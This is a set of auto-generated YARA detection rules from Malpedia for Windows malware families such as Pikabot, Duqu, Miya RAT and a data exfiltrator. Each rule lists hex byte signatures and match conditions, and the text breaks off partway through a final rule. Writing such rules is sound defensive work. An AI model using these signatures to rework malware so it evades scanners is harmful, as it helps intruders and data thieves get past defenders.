rule MALPEDIA_Win_Pikabot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4ac687d3-814a-53f0-bdd6-30b0d584e28f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pikabot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pikabot_auto.yar#L1-L281"
		license_url = "N/A"
		logic_hash = "3b0362ab404ac85076078e4d22f7ab9dbd258b909dc0b4272cd29c1c8ac6cad3"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ebd3 8b4508 c9 c3 55 8bec }
		$sequence_1 = { 83ec0c 8b4508 8945fc 8b450c 8945f8 8b4510 }
		$sequence_2 = { 837df400 741a 8b45fc 8b4df8 }
		$sequence_3 = { 40 8945f8 ebd3 8b4508 }
		$sequence_4 = { 8945f8 8b4510 8945f4 8b4510 }
		$sequence_5 = { 8b4510 48 894510 837df400 741a }
		$sequence_6 = { 8b4df8 8a09 8808 8b45fc 40 8945fc 8b45f8 }
		$sequence_7 = { 7ce9 8b4214 2b420c 5f }
		$sequence_8 = { 8a1c08 8d4320 0fb6c8 8d53bf 80fa19 0fb6c3 0f47c8 }
		$sequence_9 = { 56 8bf1 85c9 7419 85d2 7415 }
		$sequence_10 = { 85c9 7436 85ff 7432 }
		$sequence_11 = { 0fabd0 83fa20 6a08 0f43c8 }
		$sequence_12 = { e8???????? 8bd0 e8???????? 3b45fc }
		$sequence_13 = { 41 e8???????? ffd0 c9 c3 }
		$sequence_14 = { 6a08 0f43c8 33c1 83fa40 }
		$sequence_15 = { 3bc7 72d5 5b 5f 8bc6 }
		$sequence_16 = { 83ec10 53 56 8b35???????? b84d5a0000 57 8955fc }
		$sequence_17 = { 8a040a 84c0 75f6 c60100 8bc6 5e c3 }
		$sequence_18 = { 0fb6d1 03c2 0fb6c0 8945f8 }
		$sequence_19 = { 81f900010000 72f0 8bf0 33d2 }
		$sequence_20 = { 0345f8 03c8 0fb6c9 894df8 }
		$sequence_21 = { 40 3d00010000 72f1 8b35???????? 8bf9 }
		$sequence_22 = { 0345f8 03c8 0fb6c1 8945f8 }
		$sequence_23 = { 8b01 0d20202020 3d6e74646c 750f }
		$sequence_24 = { a3???????? 8b45d4 890424 a1???????? ff5058 56 }
		$sequence_25 = { 89442408 31c0 89442404 e8???????? 8b45e4 }
		$sequence_26 = { 890424 e8???????? 8b8514f9ffff 89442404 a1???????? }
		$sequence_27 = { 890424 e8???????? 8b8560f9ffff 89442404 }
		$sequence_28 = { 890424 e8???????? 89c2 a1???????? 895048 }
		$sequence_29 = { a1???????? 8b00 890424 e8???????? a1???????? 8b9060010000 89542404 }
		$sequence_30 = { 890424 a1???????? ff9090000000 83ec10 }
	condition:
		7 of them and filesize < 1717248
}

rule MALPEDIA_Win_Chthonic_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9308f91d-3793-554b-b1d0-64ba8302fadb"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chthonic"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chthonic_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "4dc2485521a827af3e062f4f45b00520b596cc6d1b868ae843ff411ddfc73052"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bcf d3ee 83e601 eb00 8b4df8 }
		$sequence_1 = { 0f850d010000 8b4df0 eb00 894df8 }
		$sequence_2 = { 8a08 32ca 80e17f 8808 b001 c3 8b442404 }
		$sequence_3 = { 74cf 8345fc02 b9000d0000 3b4df8 1bc9 f7d9 014dfc }
		$sequence_4 = { 894df0 e9???????? 8b4514 8b4df4 8908 33c0 3b550c }
		$sequence_5 = { 5f c1ee1f e9???????? 8b041a 6a1f 8bf0 }
		$sequence_6 = { 80e17f 8808 b001 c3 8b442404 }
		$sequence_7 = { e9???????? 8b041a 6a1f 8bf0 83c204 5f }
		$sequence_8 = { 7cf4 33f6 33d2 8bc6 f77514 8b4510 8d8cb5fcfbffff }
		$sequence_9 = { 3b550c 5f 5e 0f94c0 5b c9 c3 }
	condition:
		7 of them and filesize < 425984
}

rule MALPEDIA_Win_Jackpos_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "705d47f5-8c33-5d05-9f3c-cd8693aecd05"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jackpos"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jackpos_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "aebd9f3ce681adad20f8842dd1ad147a46f77997d7d0dde94d3c3be1cf2f594d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8945e4 83f805 7d10 668b4c4310 66890c45f8124200 40 ebe8 }
		$sequence_1 = { 57 8bf8 8b450c 397518 0f86a4000000 8b4508 83c008 }
		$sequence_2 = { 8b7508 56 c745fc04000000 e8???????? 83c404 837e7010 }
		$sequence_3 = { d1ff 57 8b7d14 57 }
		$sequence_4 = { c60700 80780100 7e04 40 8945c4 8a00 3c7f }
		$sequence_5 = { 8b10 83c40c 51 52 8d4594 50 }
		$sequence_6 = { 03c9 51 8b4df8 8d1459 52 e8???????? 8b4614 }
		$sequence_7 = { 85db 0f86f8000000 57 8b7e14 }
		$sequence_8 = { ff15???????? 6aff 6a00 8bc6 8bcb e8???????? }
		$sequence_9 = { c645fc01 50 c745f001000000 e8???????? c745fc02000000 bb03000000 57 }
	condition:
		7 of them and filesize < 319488
}

rule MALPEDIA_Win_Heriplor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "fea80a8c-f479-5ce5-81b4-e326d3255abd"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.heriplor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.heriplor_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "bcabe5553c3788da5ec383050fc0580bed7efb49f5fdd5cfd8664f6ebd97276a"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 84c9 740d 80c960 01cb }
		$sequence_1 = { 56 57 33c9 648b4130 8b400c }
		$sequence_2 = { 7420 46 46 46 46 }
		$sequence_3 = { 8a08 84c9 740d 80c960 }
		$sequence_4 = { 8b0491 01f8 5f 5e 89ec 5d c20800 }
		$sequence_5 = { 43 ebe6 33d2 668b13 }
		$sequence_6 = { 3b5d0c 7401 40 5b 59 89ec 5d }
		$sequence_7 = { 5d c20c00 55 89e5 56 57 33c9 }
		$sequence_8 = { 01fb 8b32 01fe 6a01 ff750c 56 e8???????? }
		$sequence_9 = { 43 ebe6 33d2 668b13 8b0491 01f8 }
	condition:
		7 of them and filesize < 49152
}

rule MALPEDIA_Win_Backswap_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0b4784b7-cd96-5e54-a073-0338b4b75481"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.backswap"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.backswap_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "2b5d3806ddf0898828d393c845cc1b722a49353e80ebab2271198eaec3b3ad5a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33c9 e9???????? b32a 397d14 7412 47 8a07 }
		$sequence_1 = { f366a5 59 5f 5e c9 c20c00 55 }
		$sequence_2 = { eb04 8bc6 91 41 5e 5f }
		$sequence_3 = { 74c4 3c2a 7508 8bdf 897508 4e ebb8 }
		$sequence_4 = { 33d2 8bdf 4b eb1c 85c9 7508 3bdf }
		$sequence_5 = { 7482 8b7508 ff4508 8bfb 3bd3 0f8572ffffff 33c9 }
		$sequence_6 = { 7404 8bce 8bd3 397d14 0f8e99000000 39750c 7e7b }
		$sequence_7 = { d1e9 f366a5 59 5f 5e }
		$sequence_8 = { e8???????? 74ed 33c0 eb04 }
		$sequence_9 = { 33c9 e9???????? b32a 397d14 }
	condition:
		7 of them and filesize < 122880
}

rule MALPEDIA_Win_Cryptoshield_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f09fd893-35c5-517a-95b1-96dc5c00c268"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoshield"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cryptoshield_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "41afb8e592a261d954078e9828ef943fd5cdbb4b8df8a3f944658b648d1f2323"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7405 83f804 751a e8???????? }
		$sequence_1 = { ff15???????? 83c40c 8d85b0edffff 50 683f020f00 }
		$sequence_2 = { 75cb 66833a00 8bfa 744d 8d4900 }
		$sequence_3 = { 6a00 8d85e8fbffff 50 6a01 68???????? 56 ff15???????? }
		$sequence_4 = { 8d85c4f1ffff 68???????? 50 ffd3 }
		$sequence_5 = { 50 ffd7 8b45f0 85c0 7506 }
		$sequence_6 = { 0f84a6000000 8d45fc 50 6a01 ff75f8 6810660000 }
		$sequence_7 = { 6a00 ffd3 85c0 0f84bb000000 6804010000 }
		$sequence_8 = { ff15???????? c745fc00000000 85f6 7407 56 ff15???????? 85ff }
		$sequence_9 = { 0fb7c0 50 8d45f4 68???????? 50 ffd6 83c40c }
	condition:
		7 of them and filesize < 131072
}

rule MALPEDIA_Win_Postnaptea_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "51c689b3-106f-5456-8a81-c39f4d1222d0"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.postnaptea"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.postnaptea_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "cbc31a40430b61bd28460ce500d3e6052f8e6a6f9e1d2c25674ed00c58ea2b2d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? ffd0 448bc0 488d542430 488bb590000000 488bce e8???????? }
		$sequence_1 = { c745c8d4f6ccf6 41bf60090000 c745cc95f695f6 c745d086f6cdf6 c745d4c6f6c7f6 660f1f840000000000 4863c2 }
		$sequence_2 = { c785060800000af50cf5 c7850a08000012f50ef5 c7850e08000009f505f5 c7851208000003f511f5 c7851608000009f54df5 c7851a0800001af507f5 c7851e08000015f551f5 }
		$sequence_3 = { c7459418f513f5 c7459819f51bf5 c7459c5ff5baf5 c745a0a1f50000 4533c0 418bd0 660f1f840000000000 }
		$sequence_4 = { e8???????? 0fb64b08 0fb7430a 663b4509 7416 84c9 750c }
		$sequence_5 = { c744247c01f516f5 c7458018f515f5 c7458453f517f5 c745881af518f5 c7458c03f51df5 c7459017f50ef5 c7459408f55cf5 }
		$sequence_6 = { c7451830f51bf5 c7451c0bf5e8f5 c74520eef5e6f5 c74524a3f5e1f5 c74528fdf5e3f5 c7452ce4f5fdf5 c74530fdf5e3f5 }
		$sequence_7 = { ff15???????? 85c0 7498 83f857 7493 4533c0 418bc8 }
		$sequence_8 = { ffc3 41b401 488b0f 4885c9 7441 488b4138 4c3928 }
		$sequence_9 = { ff15???????? 4c8bf0 4885ff 0f84a90a0000 4885c0 0f84a00a0000 c74424400af532f5 }
	condition:
		7 of them and filesize < 2457600
}

rule MALPEDIA_Win_Ghostsocks_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ec83c1b8-972c-5302-8f5c-0348597b2510"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghostsocks"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ghostsocks_auto.yar#L1-L151"
		license_url = "N/A"
		logic_hash = "86588affc1ba6a310125c5db73ff776fb8159fe6904364a27563bbbae0b566bf"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { f7e2 69df90010000 01da 89c3 }
		$sequence_1 = { f7e2 7079 8d5504 89d5 }
		$sequence_2 = { f7e2 0fafe9 8b4c2418 0fafcb }
		$sequence_3 = { f7e2 707d 83f8ff 7772 8b542418 85d2 }
		$sequence_4 = { f7e2 01d1 81e5ffffff3f 89ea c1fd1f 90 }
		$sequence_5 = { f7e2 89442468 0fafde 01da }
		$sequence_6 = { f7e2 83c6f8 90 90 83c308 }
		$sequence_7 = { f7e2 89442428 01d1 05000096b3 }
		$sequence_8 = { e8???????? 89856068fcff 89956468fcff 8d8d1bc3faff }
		$sequence_9 = { e8???????? 89856071fcff 89956471fcff a1???????? }
		$sequence_10 = { e8???????? 89856077feff 89956477feff 8b8d647ffeff }
		$sequence_11 = { e8???????? 89856082fcff 89956482fcff 0fb685a77cffff }
		$sequence_12 = { e8???????? 89856078fbff 89956478fbff 8b0d???????? }
		$sequence_13 = { e8???????? 8985605ffdff 8995645ffdff 0fb6856fd5faff }
		$sequence_14 = { e8???????? 89856076fcff 89956476fcff 8b85d0adfdff }
		$sequence_15 = { e8???????? 89856074fbff 89956474fbff a1???????? }
	condition:
		7 of them and filesize < 25016320
}

rule MALPEDIA_Win_Thumbthief_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1c9938a2-b3ca-5fff-a79c-43d76c2643f6"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.thumbthief"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.thumbthief_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "95f6f620d5e728800926363598aae4fbd4980628ff69ddd3ce6426d2d79b4cfc"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff7604 e8???????? 83c410 895e04 5f 8bc6 5e }
		$sequence_1 = { ff7010 e8???????? 0fb74612 8d4dc8 50 68???????? e8???????? }
		$sequence_2 = { e8???????? c645fc03 85f6 7526 68???????? 68???????? 8d8d2cffffff }
		$sequence_3 = { e8???????? 8d742440 8d7c2414 a5 8d442414 6a01 50 }
		$sequence_4 = { e9???????? 8b542434 395608 8b542428 0f85b1000000 8b4c2430 898c24c0000000 }
		$sequence_5 = { e8???????? 8d8c24bc010000 e8???????? 8d4314 50 68a0000000 53 }
		$sequence_6 = { ff15???????? 68???????? ff75dc ffd7 50 8d8dd8feffff e8???????? }
		$sequence_7 = { ff248580c94200 8b4508 b901000000 6689481c 33c0 5f 5e }
		$sequence_8 = { f20f1045c4 83c408 f20f1187b8010000 8bc6 5f 5e 5b }
		$sequence_9 = { ff75f4 e8???????? 83c414 8bd6 8bcb e8???????? 837d1000 }
	condition:
		7 of them and filesize < 4235264
}

rule MALPEDIA_Win_Zhcat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0341c55f-b49b-59ad-9995-dc165ee721c5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zhcat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zhcat_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "4527f43b00c94d79075579376bd5c0c607ad5c4bcbb3975ed225c4c4eea50561"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff7510 668945c6 ffd7 8b3d???????? 8945c8 8b45fc 33f6 }
		$sequence_1 = { e8???????? a1???????? 59 803d????????00 }
		$sequence_2 = { 8d45d4 50 8d45ec 50 33db 8d45f8 }
		$sequence_3 = { 8bc6 c1f805 8b048540604100 83e61f c1e606 59 c644300400 }
		$sequence_4 = { 7506 394c2418 742c c705????????01000000 eb20 8b450c }
		$sequence_5 = { ffd7 6a02 8945d8 58 ff7514 668945c4 ffd6 }
		$sequence_6 = { c3 8bff 56 57 33ff ffb7004e4100 ff15???????? }
		$sequence_7 = { 3b04cd20434100 7413 41 83f92d 72f1 }
		$sequence_8 = { e8???????? 8b45f8 8b4dfc 83c40c 894104 }
		$sequence_9 = { 7407 68???????? ebd3 39742418 7507 68???????? ebc6 }
	condition:
		7 of them and filesize < 376832
}

rule MALPEDIA_Win_Bs2005_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c222daf1-0291-5b44-a14d-9520773ee0b6"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bs2005"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bs2005_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "2de8be623d8c0993a0484485024d355fd2aa58f75e717b2fbd75b321c706b20a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 40 84c9 75f9 6a00 8d8dccfeffff 51 2bc2 }
		$sequence_1 = { c705????????14864000 a3???????? c705????????408f4000 c705????????30864000 c705????????92854000 }
		$sequence_2 = { 8bcf 2bce 81e91c010c00 51 8d5705 52 83c020 }
		$sequence_3 = { 52 6a04 50 8945e4 8b45e8 68???????? 50 }
		$sequence_4 = { 8945f8 ba00040000 8bcf c60100 }
		$sequence_5 = { 8b8e04010000 6a00 6a00 50 51 c745fc00000000 }
		$sequence_6 = { 8b06 85c0 7425 8b10 50 }
		$sequence_7 = { 75f9 b900000400 8d860c010c00 c60000 40 49 75f9 }
		$sequence_8 = { 8b860c010000 3d00000200 7205 b800000200 8b8e04010000 6a00 }
		$sequence_9 = { 6a00 8d55fc 52 50 8d8612010000 50 51 }
	condition:
		7 of them and filesize < 212992
}

rule MALPEDIA_Win_Data_Exfiltrator_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9dfe6899-2a2b-53e4-a45a-9d47fab0bd97"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.data_exfiltrator"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.data_exfiltrator_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "76dad4826c4efcd47bcf7b7baeb8873c247d502d84bcb2a2073a82e8e3d63f8c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 48837c246800 7504 33c0 eb19 488b542450 488b4c2468 }
		$sequence_1 = { 488b442430 8b4c2438 89480c 488b442430 4881c4e8000000 c3 }
		$sequence_2 = { 488d152b530000 488b4c2440 ff15???????? 4889442420 }
		$sequence_3 = { 8a442470 88442440 48c744243800000000 488d0595c8ffff 4889442430 488d0555d9ffff 4889442428 }
		$sequence_4 = { 448bc8 4c8b442420 488b15???????? 488d4c2460 }
		$sequence_5 = { 48894c2408 4883ec78 ff15???????? 41b800010000 }
		$sequence_6 = { 85c0 742c 0fb6442421 8b4c2424 83c105 8bc9 488b942440010000 }
		$sequence_7 = { 488d0dad360000 e8???????? 41b840000000 ba00300000 b908000000 }
		$sequence_8 = { 837c245c00 7407 837c244000 7502 eb33 8b442440 }
		$sequence_9 = { 488bc1 4889842498000000 488b942498000000 488b8c24c8000000 }
	condition:
		7 of them and filesize < 107520
}

rule MALPEDIA_Win_Duqu_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d021a3e0-a963-5c5a-8894-2a3900c75d82"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.duqu"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.duqu_auto.yar#L1-L169"
		license_url = "N/A"
		logic_hash = "a5f03c1a39b5d865f59b6af67604227aa6b29a16f7ea254ca225f6a37485518b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 8d8df8fdffff 51 ff9088000000 8bd6 8bc8 }
		$sequence_1 = { 5e 5b 8be5 5d c3 8b4718 ebf4 }
		$sequence_2 = { ba78978b33 89869c000000 8bcb e8???????? ba5859004e }
		$sequence_3 = { 744d 8b4c2414 8a442413 8b5c2418 85c9 7e30 0fb6c8 }
		$sequence_4 = { 85c0 7465 e8???????? 85c0 }
		$sequence_5 = { 56 51 8bf2 e8???????? }
		$sequence_6 = { 8b5c242c 741a 40 83c704 8944241c 3b4218 }
		$sequence_7 = { baec8ce154 8bcb e8???????? ba8eacac75 894628 }
		$sequence_8 = { ba1225339c 89462c 8bcb e8???????? 89466c 85c0 }
		$sequence_9 = { 8b4c2414 40 49 89442420 }
		$sequence_10 = { 8bec 81ec0c020000 56 ff7508 8bf2 }
		$sequence_11 = { 8bec 81ec04020000 53 8b5d08 56 57 6af0 }
		$sequence_12 = { 8bec 81ec10080000 8365fc00 b800010000 }
		$sequence_13 = { 8bec 53 56 8bd8 8d732c 57 8bce }
		$sequence_14 = { 8bec 56 57 8b7d08 33f6 3b7d0c }
		$sequence_15 = { 8bec 81ec0c020000 8365fc00 833d????????ff }
	condition:
		7 of them and filesize < 18759680
}

rule MALPEDIA_Win_Miya_Rat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b014bac2-07d1-5fef-bdcc-2e598306fac3"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.miya_rat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.miya_rat_auto.yar#L1-L191"
		license_url = "N/A"
		logic_hash = "98cc52272c83937733d9eba2aa0b9bb5ed8cab147dbc386514a5033d544b9bd7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0f84fa0f0000 83ec08 0fae5c2404 8b442404 25807f0000 3d801f0000 750f }
		$sequence_1 = { 0fbf45fc c9 c3 8bff 55 8bec 83ec18 }
		$sequence_2 = { 68a00f0000 ff15???????? 6a00 6a00 6a00 6a06 6a01 }
		$sequence_3 = { 7541 d9ec d9c9 d9f1 833d????????00 0f854c0d0000 }
		$sequence_4 = { 5d e9???????? 8bff 55 8bec b8ffff0000 83ec14 }
		$sequence_5 = { 8bc6 5e 5d c20400 e8???????? cc 56 }
		$sequence_6 = { 8d642408 0f85c90f0000 eb00 f30f7e442404 660f2815???????? 660f28c8 660f28f8 }
		$sequence_7 = { 75be ddd8 db2d???????? b802000000 833d????????00 0f85e00c0000 }
		$sequence_8 = { 4889742418 57 4883ec20 488d05da910700 33f6 488901 488b4108 }
		$sequence_9 = { e9???????? 488d8a48000000 e9???????? 488d8a40010000 e9???????? 488d8ab0010000 e9???????? }
		$sequence_10 = { 4c8bc7 89742428 33d2 b9e9fd0000 4889442420 ff15???????? 0f10442450 }
		$sequence_11 = { 4533c0 488bd6 488d4dc7 e8???????? 488b7ddf 4533e4 eb67 }
		$sequence_12 = { 0f57c9 f30f7f4d40 488d4d40 e8???????? 488d4d40 e8???????? }
		$sequence_13 = { 0f1145c7 4c8965d7 48897ddf 66448965c7 488d7160 48897597 44386168 }
		$sequence_14 = { 0f57c0 488d5308 48890b 488d4808 0f1102 e8???????? 488d0588aa0600 }
		$sequence_15 = { 90 44897608 488d0554590500 488906 488937 488d4dd7 e8???????? }
	condition:
		7 of them and filesize < 1238016
}

rule MALPEDIA_Win_Dented_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
